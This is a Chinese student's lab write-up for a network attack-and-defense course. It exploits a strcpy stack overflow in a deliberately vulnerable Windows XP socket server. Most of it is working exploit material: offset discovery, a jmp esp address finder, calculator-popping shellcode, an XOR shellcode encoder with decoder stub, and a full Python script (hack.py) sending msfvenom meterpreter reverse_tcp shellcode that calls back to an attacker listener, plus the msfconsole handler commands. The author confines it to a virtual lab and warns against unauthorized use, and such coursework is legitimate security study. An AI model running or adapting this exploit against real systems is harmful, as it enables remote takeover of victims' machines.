0x01 写在前面 本文就本学期的一门课程《网络攻防技术》的一次作业进行了比较详细的记录,旨在加深对栈溢出过程的原理的理解。限于个人认知有限,文中若有纰漏还请指出批评。本文记录的是一个最基本最简单的栈溢出实例,通过构造payload对一个存在漏洞的服务器进行攻击,从而拿到对方的shell。
使用 msf
一键搞定 or 结合 pwntools
也可以搞定,但不是本文的目的。
同时,希望读者知道有个东西叫做《网络安全法》 ,请勿在未授权的情况下做任何的尝试。本实验仅在搭建的虚拟环境中实施。
0x02 实验背景 本次实验全部在自己的虚拟机中完成。
攻击机:kali2020
靶机:Lite XP
实验中给定了一个server的c源代码,要求对其进行攻击获取shell。
0x03 实验过程 源码分析 首先分析存在漏洞的源码,源码文件如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 #include <iostream> #include <winsock.h> #include <windows.h> #include <stdio.h> #pragma comment(lib, "wsock32.lib" ) #define SS_ERROR 1 #define SS_OK 0 void pr ( char *str) { char buf[500 ]="" ; strcpy (buf,str); printf (buf); } void sError (char *str) { MessageBox (NULL , str, "socket Error" ,MB_OK); WSACleanup (); } int main (int argc, char **argv) { printf ("\nServer Start.....\n" ); WORD sockVersion; WSADATA wsaData; int rVal; char Message[5000 ]="" ; char buf[2000 ]="" ; u_short LocalPort; LocalPort = 50002 ; sockVersion = MAKEWORD (1 ,1 ); WSAStartup (sockVersion, &wsaData); SOCKET serverSocket = socket (AF_INET, SOCK_STREAM, 0 ); if (serverSocket == INVALID_SOCKET) { sError ("Failed socket()" ); return SS_ERROR; } SOCKADDR_IN sin; sin.sin_family = PF_INET; sin.sin_port = htons (LocalPort); sin.sin_addr.s_addr = INADDR_ANY; rVal = bind (serverSocket, (LPSOCKADDR)&sin, sizeof (sin)); if (rVal == SOCKET_ERROR) { sError ("Failed bind()" ); WSACleanup (); return SS_ERROR; } rVal = listen (serverSocket, 10 ); if (rVal == SOCKET_ERROR) { sError ("Failed listen()" ); WSACleanup (); return SS_ERROR; } SOCKET clientSocket; clientSocket = accept (serverSocket, NULL , NULL ); if (clientSocket == INVALID_SOCKET) { sError ("Failed accept()" ); WSACleanup (); return SS_ERROR; } int bytesRecv = SOCKET_ERROR; while ( bytesRecv == SOCKET_ERROR ) { bytesRecv = recv ( clientSocket, Message, 5000 , 0 ); if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET ) { printf ("\nConnection Closed.\n" ); break ; } } pr (Message); closesocket (clientSocket); closesocket (serverSocket); WSACleanup (); return SS_OK; }
简单分析即可发现在源文件的第15行存在一个漏洞,函数 strcpy
未对复制长度进行限制。从客户端上传是数据最长可以有5000个字节,而函数 pr
中申请的空间只有500个字节,从而存在一个栈的覆盖危险。
windebug 定位溢出点 在上述分析的基础上还需要定位程序的溢出点在偏移,从而确定shellcode的插入位置。
这里使用 windebug
软件对目标 server
编译的程序进行调试来确定溢出的位置。
生成随机字符串 利用程序生成一串随机字符串,这个字符串没有什么特殊的地方,仅仅是避免全部填充一样的 A
字符而无法进行定位,这样的随机串重复的概率很低,即可以通过报错的信息定位溢出点。
1 eMoozeSgto1sh5mLovZFX8CRfIyw3INK7eTZrEN5cAd7Bmq02tHzDp2EuPjVFmEcXhzNUMlGDj12MjutSygDnh92zPoqT217646JUW0Kit0XuuYXd0WHMm0Afxuw1Pk59NtFJo7K0UNglb0ZktjWV3V9SFyT2nhI3uAY0Zjg5QqGkVZ8AjAGS2cc9o5aAXX1OYIwHh0LkFsHjt9a67yc9LJDmZ5ZkEZupnDmetxE6itPG5K6RFLxD1hgKUF2uZhuUs8fhcNI2cQWQytTsehNxIC4CFgSWvmIEwGff4YJ0egA4TdznCoOBs4qkUvzVuoLNAiEtdnQdGbpRLhlQr4BKyDdBkIdHWGfOlG9r2pzyVKlOqc04GAM5GyHPjTLxUtXZYLdetkhbyxwkYzC1XX82nFRgeB3iWVWoOQ8h0kQK4Z58HvKOKFXM8S8SBFbcjXkcGzIwvpxlhi3cB0WjyGiiSopFFc6ufamwfGyaehKowXSJa9l9xXAHKPc1sMuRC8RkVUqm2Z3DYNxpSD4dmLdNAFE0F1kpTXXVKYo3jydqPgRXNkmqvy0KSqnLbe1BhIYITgaAQpPmDs6y9xLnbLAS5yUja15Y0smgectWIebHQUJrpElR5dhvgYrnenWhivpbKWVlCyDUrpAbriIk9usAMst5Oj7ytayAGw7qFIZ1W9mhdHScSNjz4sO7pNz
发送字符串 利用python简单编写一个发送数据的程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 serverName = '192.168.195.129' serverPort = 50002 def sendPayload (payload ): clientSocket = socket(AF_INET, SOCK_STREAM) try : clientSocket.connect((serverName,serverPort)) except : print ("fail to connect." ) sys.exit(0 ) clientSocket.send(payload) clientSocket.close()
然后将上述的随机字符串进行发送。
1 2 s = b'eMoozeSgto1sh5mLovZFX8CRfIyw3INK7eTZrEN5cAd7Bmq02tHzDp2EuPjVFmEcXhzNUMlGDj12MjutSygDnh92zPoqT217646JUW0Kit0XuuYXd0WHMm0Afxuw1Pk59NtFJo7K0UNglb0ZktjWV3V9SFyT2nhI3uAY0Zjg5QqGkVZ8AjAGS2cc9o5aAXX1OYIwHh0LkFsHjt9a67yc9LJDmZ5ZkEZupnDmetxE6itPG5K6RFLxD1hgKUF2uZhuUs8fhcNI2cQWQytTsehNxIC4CFgSWvmIEwGff4YJ0egA4TdznCoOBs4qkUvzVuoLNAiEtdnQdGbpRLhlQr4BKyDdBkIdHWGfOlG9r2pzyVKlOqc04GAM5GyHPjTLxUtXZYLdetkhbyxwkYzC1XX82nFRgeB3iWVWoOQ8h0kQK4Z58HvKOKFXM8S8SBFbcjXkcGzIwvpxlhi3cB0WjyGiiSopFFc6ufamwfGyaehKowXSJa9l9xXAHKPc1sMuRC8RkVUqm2Z3DYNxpSD4dmLdNAFE0F1kpTXXVKYo3jydqPgRXNkmqvy0KSqnLbe1BhIYITgaAQpPmDs6y9xLnbLAS5yUja15Y0smgectWIebHQUJrpElR5dhvgYrnenWhivpbKWVlCyDUrpAbriIk9usAMst5Oj7ytayAGw7qFIZ1W9mhdHScSNjz4sO7pNz' sendPayload(s)
windebug 查看报错信息 生成上述的随机字符串之后,在XP中运行server程序,kali将上述的随机串进行发送,在 windebug
中查看报错的信息。
从上述的报错信息中可以看到 eip
= 0x754d7331, esp
= 0x0012e220。
简单处理翻译一下,可以知道 eip
的值是 1sMu
。(chr(0x75) = ‘u’, chr(0x4d) = ‘M’, chr(0x73) = ‘s’, chr(0x31) = ‘1’) 注意,intel处理器是小端存储,需要反转过来。 在原来输入串中查找 1sMu
即可找到溢出点偏移。即我们的输入的数据覆盖了 eip
的值,因此可以利用此实现对目标机器的控制。
因此这个有效偏移就是 eMoo……HKPc
1 eMoozeSgto1sh5mLovZFX8CRfIyw3INK7eTZrEN5cAd7Bmq02tHzDp2EuPjVFmEcXhzNUMlGDj12MjutSygDnh92zPoqT217646JUW0Kit0XuuYXd0WHMm0Afxuw1Pk59NtFJo7K0UNglb0ZktjWV3V9SFyT2nhI3uAY0Zjg5QqGkVZ8AjAGS2cc9o5aAXX1OYIwHh0LkFsHjt9a67yc9LJDmZ5ZkEZupnDmetxE6itPG5K6RFLxD1hgKUF2uZhuUs8fhcNI2cQWQytTsehNxIC4CFgSWvmIEwGff4YJ0egA4TdznCoOBs4qkUvzVuoLNAiEtdnQdGbpRLhlQr4BKyDdBkIdHWGfOlG9r2pzyVKlOqc04GAM5GyHPjTLxUtXZYLdetkhbyxwkYzC1XX82nFRgeB3iWVWoOQ8h0kQK4Z58HvKOKFXM8S8SBFbcjXkcGzIwvpxlhi3cB0WjyGiiSopFFc6ufamwfGyaehKowXSJa9l9xXAHKPc
VC6 debug 确定 esp 无误 通过F11打开VC6的调试模式,在 pr
函数中printf的地方打上断点,避免程序崩溃。然后运行程序,重复前面的发包,查看 esp
= 0x0012e220 地址处的值。
可以看到 eip
偏移后面就是 esp
指向的地址。而栈溢出中一个常用的手法就是利用 jmp esp
指令来实现攻击。从上面的分析中,若我们将 1sMu
(覆盖 eip
的字符)替换为 jmp esp
指令的地址,将 RC8……
(esp
指向的地址)处覆盖为我们的shellcode,即可完成此次的攻击。
确定 jmp esp 指令位置 为了执行上述的跳转一个关键步骤就是需要找到一个可以利用的 jmp esp
指令的地址。由于用户端 user32.dll
在一般情况下都必然常驻内存中,因此可以在其中去获取我们需要利用的 jmp esp
的地址。本着不重复造轮子的原则,我随便在网上找了一个可以获取目标机器实时 jmp esp
地址的程序轮子(侵删 ),将其中的查找依赖修改为了 user32.dll
,直接编译运行,点击就送,得到了目标机器上的 jmp esp
的地址为 \x7b\x46\x86\x7c
(intel 小端需要反过来)。
上述的轮子代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <windows.h> #include <iostream> #include <cstdio> #include <tchar.h> using namespace std;int main () { int nRetCode=0 ; bool we_load_it=false ; HINSTANCE h; TCHAR dllname[]=_T("kernel32" ); h=GetModuleHandle (dllname); if (h==NULL ){ h=LoadLibrary (dllname); if (h==NULL ){ cout<<"ERROR LOADING DLL:" <<dllname<<endl; return 1 ; } we_load_it=true ; } BYTE* ptr=(BYTE*)h; bool done=false ; for (int y=0 ;!done;y++){ try { if (ptr[y]==0xFF &&ptr[y+1 ]==0xE4 ){ int pos=(int )ptr+y; cout<<"OPCODE found at 0x" <<hex<<pos<<endl; } } catch (...){ cout<<"END OF" <<dllname<<"MEMORY REACHED" <<endl; done=true ; } } if (we_load_it) FreeLibrary (h); return nRetCode; }
shellcode弹出计算器 为了检验上述的分析是否正确,可以在正式完成反弹shellcode的编写前完成一个计算器弹出。本着不重复造轮子的原则,我们随便在网上找了一个弹出计算器的shellcode。
1 \x55\x8B\xEC\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x61\x6C\x63\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x33\xC0\x50\xB8\xFA\xCA\x81\x7C\xFF\xD0\x8B\xE5\x5D\x33
然后根据前面的分析,只需要将发送的随机字符在合适的位置进行截断,然后拼接 jmp esp
的地址和找到的轮子shellcode。构成最终的payload。然后点击就送,可以发现运行此python脚本之后,服务端就会弹出一个计算器,证明我们的溢出执行指令是可行的。
1 2 3 4 5 6 7 8 def noEncodeCalc (): shellcode = b'\x55\x8B\xEC\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x61\x6C\x63\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x33\xC0\x50\xB8\xFA\xCA\x81\x7C\xFF\xD0\x8B\xE5\x5D\x33' payload = offset + jmp_esp + shellcode sendPayload(payload)
运行之前先在xp中启动服务端程序
运行之后即可在服务端看到弹出的计算器
shellcode 编码 由于上述的计算器shellcode代码中无 \x00
特殊字符,因此可以一瞬成功。但是并不能保证每中shellcode都能通用,因此对shellcode进行编码绕过特殊字符是非常有必要的。根据上课讲授的思想,可以通过某种异或的方式来对原来的shellcode进行异或编码。然后在服务端运行一个解码函数先对shellcode进行解码,然后再执行shellcode就可以避免被截断从而被攻击。
然后可以依照ppt上的指示,适当修改代码中需要解码的shellcode的长度和编码的key,然后编写汇编代码,放入VC6中进行编译,然后copy这个编译完毕的decode码,并将自己的shellcode进行编码即可拼接。
下面是解码函数的汇编代码,只需要修改对应的key和长度即可。在VC6中 F10
打开 debug 模式可以获取其机器码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <windows.h> int main (int argc, char ** argv) { __asm{ jmp decode_end decode_start: pop edx dec edx xor ecx,ecx mov cx,0x300 decode_loop: xor byte ptr [edx+ecx], 0x1 loop decode_loop jmp decode_ok decode_end: call decode_start decode_ok: } }
小插曲
如上图中通过调试和编译即可以获得准确的decode函数的机器码。然后进行拼接shellcode即可以完成。但是!!!上述的代码中有一个致命的错误!!!这份decode码是专门用于躲掉“\x00”的,但是它自己却整了个“\x00”???好叭别担心,我们从上述的汇编源码中可以很清楚看到这个“\x00”是来源于解码的长度,只需要修改一下长度即可。
好的,对于老师所说:“思考为什么是 0x97
而不是其他的”,我的结论是无所谓是否是 0x97
,只需要shellcode中没有这个字符就可以了,key的枚举范围可以是 0x01~0xff
这个范围,一个有效的shellcode能同时包含这些所有的字符的概率是非常小的。因此,随便枚举一个合适的key是可行的,并且是方便的 。
但是非要追求完美,也可以自己实现一个完美的可以解决的思路,(此想法来源于室友 )。即对所有的字符都选用key为 0x77
,则只有当shellcode中出现的 0x77
会出现 0x00
截断。但是可以将原来的 0x77
转化为 0xff 0x77
,而将原来的 0x88
转化为 0xff 0x88
。而解码的时候,遇到上述转义的双字节即可解码为一个单字节。上述的编码即可以保证最极端的情况下也可以绕过 0x00
。
限于我暂时没有学过汇编 (问就是我太菜了) ,只能勉强看懂前面的汇编代码,因此这里没有对这个想法进行实现。
shellcode 编码的计算器弹出 有了上述的基础,只需要将shellcode放入编码函数中进行一个编码即可。有了上述的编码函数,我们点击就送一下。发现编码的shellcode还是可以成功弹出计算器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 def encodeCalc (): s = b'\x55\x8B\xEC\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x61\x6C\x63\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x33\xC0\x50\xB8\xFA\xCA\x81\x7C\xFF\xD0\x8B\xE5\x5D\x33' encodeShellcode(s) offset = b'\x65\x4d\x6f\x6f\x7a\x65\x53\x67\x74\x6f\x31\x73\x68\x35\x6d\x4c\x6f\x76\x5a\x46\x58\x38\x43\x52\x66\x49\x79\x77\x33\x49\x4e\x4b\x37\x65\x54\x5a\x72\x45\x4e\x35\x63\x41\x64\x37\x42\x6d\x71\x30\x32\x74\x48\x7a\x44\x70\x32\x45\x75\x50\x6a\x56\x46\x6d\x45\x63\x58\x68\x7a\x4e\x55\x4d\x6c\x47\x44\x6a\x31\x32\x4d\x6a\x75\x74\x53\x79\x67\x44\x6e\x68\x39\x32\x7a\x50\x6f\x71\x54\x32\x31\x37\x36\x34\x36\x4a\x55\x57\x30\x4b\x69\x74\x30\x58\x75\x75\x59\x58\x64\x30\x57\x48\x4d\x6d\x30\x41\x66\x78\x75\x77\x31\x50\x6b\x35\x39\x4e\x74\x46\x4a\x6f\x37\x4b\x30\x55\x4e\x67\x6c\x62\x30\x5a\x6b\x74\x6a\x57\x56\x33\x56\x39\x53\x46\x79\x54\x32\x6e\x68\x49\x33\x75\x41\x59\x30\x5a\x6a\x67\x35\x51\x71\x47\x6b\x56\x5a\x38\x41\x6a\x41\x47\x53\x32\x63\x63\x39\x6f\x35\x61\x41\x58\x58\x31\x4f\x59\x49\x77\x48\x68\x30\x4c\x6b\x46\x73\x48\x6a\x74\x39\x61\x36\x37\x79\x63\x39\x4c\x4a\x44\x6d\x5a\x35\x5a\x6b\x45\x5a\x75\x70\x6e\x44\x6d\x65\x74\x78\x45\x36\x69\x74\x50\x47\x35\x4b\x36\x52\x46\x4c\x78\x44\x31\x68\x67\x4b\x55\x46\x32\x75\x5a\x68\x75\x55\x73\x38\x66\x68\x63\x4e\x49\x32\x63\x51\x57\x51\x79\x74\x54\x73\x65\x68\x4e\x78\x49\x43\x34\x43\x46\x67\x53\x57\x76\x6d\x49\x45\x77\x47\x66\x66\x34\x59\x4a\x30\x65\x67\x41\x34\x54\x64\x7a\x6e\x43\x6f\x4f\x42\x73\x34\x71\x6b\x55\x76\x7a\x56\x75\x6f\x4c\x4e\x41\x69\x45\x74\x64\x6e\x51\x64\x47\x62\x70\x52\x4c\x68\x6c\x51\x72\x34\x42\x4b\x79\x44\x64\x42\x6b\x49\x64\x48\x57\x47\x66\x4f\x6c\x47\x39\x72\x32\x70\x7a\x79\x56\x4b\x6c\x4f\x71\x63\x30\x34\x47\x41\x4d\x35\x47\x79\x48\x50\x6a\x54\x4c\x78\x55\x74\x58\x5a\x59\x4c\x64\x65\x74\x6b\x68\x62\x79\x78\x77\x6b\x59\x7a\x43\x31\x58\x58\x38\x32\x6e\x46\x52\x67\x65\x42\x33\x69\x57\x56\x57\x6f\x4f\x51\x38\x68\x30\x6b\x51\x4b\x34\x5a\x35\x38\x48\x76\x4b\x4f\x4b\x46\x58\x4d\x38\x53\x38\x53\x42\x46\x62\x63\x6a\x58\x6b\x63\x47\x7a\x49\x77\x76\x70\x78\x6c\x68\x69\x33\x63\x42\x30\x57\x6a\x79\x47\x69\x69\x53\x6f\x70\x46\x46\x63\x36\x75\x66\x61\x6d\x77\x66\x47\x79\x61\x65\x68\x4b\x6f\x77\x58\x53\x4a\x61\x39\x6c\x39\x78\x58\x41\x48\x4b\x50\x63' jmp_esp = b'\x7b\x46\x86\x7c' def encodeShellcode (shellcode, length = 0x501 ): """ 第一个参数是 需要编码的 shellcode 字节 第二个参数是其长度 """ key, shellcode_encode = getKey(shellcode) decode_code = getDecode(key, length) payload = offset + jmp_esp + decode_code + shellcode_encode sendPayload(payload) def getDecode (key = 0x97 , shellcodeLength = 0x501 ): """ 目前先整个 0x501 个字节,生成解码函数的字节码 """ shellcodeLength = max (0x501 , shellcodeLength) if shellcodeLength > 0xffff : raise Exception("payload 的长度太长了 (我还没研究太长会怎么样)" ) assert key <= 0xff , "key 太长了 (这种简单的编码方法不适用于这个 payload)" lenNeedDecode = bytes ([shellcodeLength % 256 ]) + bytes ([shellcodeLength//256 ]) if lenNeedDecode[0 ] == 0 or lenNeedDecode[1 ] == 0 : raise Exception(r"decode 函数中有 '\x00' 请检查长度" ) decode_code = b'\xEB\x10\x5A\x4A\x33\xC9\x66\xB9' + lenNeedDecode + b'\x80\x34\x0A' + bytes ([key]) + b'\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF' return decode_code def getKey (s ): """ s shellcode 机器码 """ ans = b'' key = 0x01 while key <= 0xff : temp = 0x01 x = [] for i in s: temp = i ^ key x.append(temp) if temp == 0x00 : break if temp == 0x00 : key += 1 else : for i in x: ans += bytes ([i]) return key, ans
在服务端启动server程序后,运行上述的攻击代码,就可以实现弹出一个计算器。
反弹shell的编码使用 反弹shell的编写在上述都成功的基础上,此问题即已经变得很简单了。只需要编写一个连接回来的客户端shellcode代码,然后将shellcode修改覆盖原来的shellcode即可完成反弹shell的实现。
这里本着不重复造轮子的原则我们可以使用msf提供的工具来生成这个反弹shell的程序。
使用命令
1 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.195.128 lport=8964 > apu2.bin
可以生成一个反弹shell的二进制文件,将其打开填入上述原来的shellcode的位置中即可完成。
本来 msf
可以自己设定编码绕过特殊字符的,但是我这波没有跑起来就放弃了,还是自己写了。
于是在上述的程序中,修改了一下shellcode即可完成了这个点击就送。使用 msf
就可以在终端中进行监听了。使用命令如下:
1 2 3 4 5 6 msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.195.128 set lport 8964 exploit
然后在服务端运行server程序,运行攻击脚本,然后点击就送,运行python脚本就可以获得shell了。
如上图所示,可以任意执行xp下面的命令,对xp进行控制。查看对方的IP,让对方关机等等,这个机器就完全被控制了。可以看到xp就被关机了。
通过上述的实验成功实现了远程反弹shell的编写利用。
0x04 实验脚本 hack.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 from socket import *import sysserverName = '192.168.195.129' serverPort = 50002 def sendPayload (payload ): clientSocket = socket(AF_INET, SOCK_STREAM) try : clientSocket.connect((serverName,serverPort)) except : print ("fail to connect." ) sys.exit(0 ) clientSocket.send(payload) clientSocket.close() offset = b'\x65\x4d\x6f\x6f\x7a\x65\x53\x67\x74\x6f\x31\x73\x68\x35\x6d\x4c\x6f\x76\x5a\x46\x58\x38\x43\x52\x66\x49\x79\x77\x33\x49\x4e\x4b\x37\x65\x54\x5a\x72\x45\x4e\x35\x63\x41\x64\x37\x42\x6d\x71\x30\x32\x74\x48\x7a\x44\x70\x32\x45\x75\x50\x6a\x56\x46\x6d\x45\x63\x58\x68\x7a\x4e\x55\x4d\x6c\x47\x44\x6a\x31\x32\x4d\x6a\x75\x74\x53\x79\x67\x44\x6e\x68\x39\x32\x7a\x50\x6f\x71\x54\x32\x31\x37\x36\x34\x36\x4a\x55\x57\x30\x4b\x69\x74\x30\x58\x75\x75\x59\x58\x64\x30\x57\x48\x4d\x6d\x30\x41\x66\x78\x75\x77\x31\x50\x6b\x35\x39\x4e\x74\x46\x4a\x6f\x37\x4b\x30\x55\x4e\x67\x6c\x62\x30\x5a\x6b\x74\x6a\x57\x56\x33\x56\x39\x53\x46\x79\x54\x32\x6e\x68\x49\x33\x75\x41\x59\x30\x5a\x6a\x67\x35\x51\x71\x47\x6b\x56\x5a\x38\x41\x6a\x41\x47\x53\x32\x63\x63\x39\x6f\x35\x61\x41\x58\x58\x31\x4f\x59\x49\x77\x48\x68\x30\x4c\x6b\x46\x73\x48\x6a\x74\x39\x61\x36\x37\x79\x63\x39\x4c\x4a\x44\x6d\x5a\x35\x5a\x6b\x45\x5a\x75\x70\x6e\x44\x6d\x65\x74\x78\x45\x36\x69\x74\x50\x47\x35\x4b\x36\x52\x46\x4c\x78\x44\x31\x68\x67\x4b\x55\x46\x32\x75\x5a\x68\x75\x55\x73\x38\x66\x68\x63\x4e\x49\x32\x63\x51\x57\x51\x79\x74\x54\x73\x65\x68\x4e\x78\x49\x43\x34\x43\x46\x67\x53\x57\x76\x6d\x49\x45\x77\x47\x66\x66\x34\x59\x4a\x30\x65\x67\x41\x34\x54\x64\x7a\x6e\x43\x6f\x4f\x42\x73\x34\x71\x6b\x55\x76\x7a\x56\x75\x6f\x4c\x4e\x41\x69\x45\x74\x64\x6e\x51\x64\x47\x62\x70\x52\x4c\x68\x6c\x51\x72\x34\x42\x4b\x79\x44\x64\x42\x6b\x49\x64\x48\x57\x47\x66\x4f\x6c\x47\x39\x72\x32\x70\x7a\x79\x56\x4b\x6c\x4f\x71\x63\x30\x34\x47\x41\x4d\x35\x47\x79\x48\x50\x6a\x54\x4c\x78\x55\x74\x58\x5a\x59\x4c\x64\x65\x74\x6b\x68\x62\x79\x78\x77\x6b\x59\x7a\x43\x31\x58\x58\x38\x32\x6e\x46\x52\x67\x65\x42\x33\x69\x57\x56\x57\x6f\x4f\x51\x38\x68\x30\x6b\x51\x4b\x34\x5a\x35\x38\x48\x76\x4b\x4f\x4b\x46\x58\x4d\x38\x53\x38\x53\x42\x46\x62\x63\x6a\x58\x6b\x63\x47\x7a\x49\x77\x76\x70\x78\x6c\x68\x69\x33\x63\x42\x30\x57\x6a\x79\x47\x69\x69\x53\x6f\x70\x46\x46\x63\x36\x75\x66\x61\x6d\x77\x66\x47\x79\x61\x65\x68\x4b\x6f\x77\x58\x53\x4a\x61\x39\x6c\x39\x78\x58\x41\x48\x4b\x50\x63' jmp_esp = b'\x7b\x46\x86\x7c' def encodeShellcode (shellcode, length = 0x501 ): """ 第一个参数是 需要编码的 shellcode 字节 第二个参数是其长度 """ key, shellcode_encode = getKey(shellcode) decode_code = getDecode(key, length) payload = offset + jmp_esp + decode_code + shellcode_encode sendPayload(payload) def getDecode (key = 0x97 , shellcodeLength = 0x501 ): """ 目前先整个 0x501 个字节,生成解码函数的字节码 """ shellcodeLength = max (0x501 , shellcodeLength) if shellcodeLength > 0xffff : raise Exception("payload 的长度太长了 (我还没研究太长会怎么样)" ) assert key <= 0xff , "key 太长了 (这种简单的编码方法不适用于这个 payload)" lenNeedDecode = bytes ([shellcodeLength % 256 ]) + bytes ([shellcodeLength//256 ]) if lenNeedDecode[0 ] == 0 or lenNeedDecode[1 ] == 0 : raise Exception(r"decode 函数中有 '\x00' 请检查长度" ) decode_code = b'\xEB\x10\x5A\x4A\x33\xC9\x66\xB9' + lenNeedDecode + b'\x80\x34\x0A' + bytes ([key]) + b'\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF' return decode_code def getKey (s ): """ s shellcode 机器码 """ ans = b'' key = 0x01 while key <= 0xff : temp = 0x01 x = [] for i in s: temp = i ^ key x.append(temp) if temp == 0x00 : break if temp == 0x00 : key += 1 else : for i in x: ans += bytes ([i]) return key, ans def noEncodeCalc (): shellcode = b'\x55\x8B\xEC\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x61\x6C\x63\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x33\xC0\x50\xB8\xFA\xCA\x81\x7C\xFF\xD0\x8B\xE5\x5D\x33' payload = offset + jmp_esp + shellcode sendPayload(payload) def encodeCalc (): s = b'\x55\x8B\xEC\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x61\x6C\x63\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x33\xC0\x50\xB8\xFA\xCA\x81\x7C\xFF\xD0\x8B\xE5\x5D\x33' encodeShellcode(s) def useMSF (): r""" 使用 msf 的 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.195.128 lport=8964 > apu2.bin 来生成一个shellcode """ shellcode = b'\xFC\xE8\x8F\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x0F\xB7\x4A\x26\x31\xFF\x8B\x72\x28\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\x49\x75\xEF\x52\x8B\x52\x10\x57\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4C\x01\xD0\x8B\x58\x20\x50\x01\xD3\x8B\x48\x18\x85\xC9\x74\x3C\x49\x8B\x34\x8B\x31\xFF\x01\xD6\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE0\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xE9\x80\xFF\xFF\xFF\x5D\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\x89\xE8\xFF\xD0\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x0A\x68\xC0\xA8\xC3\x80\x68\x02\x00\x23\x04\x89\xE6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0A\xFF\x4E\x08\x75\xEC\xE8\x67\x00\x00\x00\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x83\xF8\x00\x7E\x36\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x83\xF8\x00\x7D\x28\x58\x68\x00\x40\x00\x00\x6A\x00\x50\x68\x0B\x2F\x0F\x30\xFF\xD5\x57\x68\x75\x6E\x4D\x61\xFF\xD5\x5E\x5E\xFF\x0C\x24\x0F\x85\x70\xFF\xFF\xFF\xE9\x9B\xFF\xFF\xFF\x01\xC3\x29\xC6\x75\xC1\xC3\xBB\xF0\xB5\xA2\x56\x6A\x00\x53\xFF\xD5' encodeShellcode(shellcode) if __name__ == '__main__' : useMSF()
find_JMP_ESP.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <windows.h> #include <iostream> #include <cstdio> #include <tchar.h> using namespace std;int main () { int nRetCode=0 ; bool we_load_it=false ; HINSTANCE h; TCHAR dllname[]=_T("kernel32" ); h=GetModuleHandle (dllname); if (h==NULL ){ h=LoadLibrary (dllname); if (h==NULL ){ cout<<"ERROR LOADING DLL:" <<dllname<<endl; return 1 ; } we_load_it=true ; } BYTE* ptr=(BYTE*)h; bool done=false ; for (int y=0 ;!done;y++){ try { if (ptr[y]==0xFF &&ptr[y+1 ]==0xE4 ){ int pos=(int )ptr+y; cout<<"OPCODE found at 0x" <<hex<<pos<<endl; } } catch (...){ cout<<"END OF" <<dllname<<"MEMORY REACHED" <<endl; done=true ; } } if (we_load_it) FreeLibrary 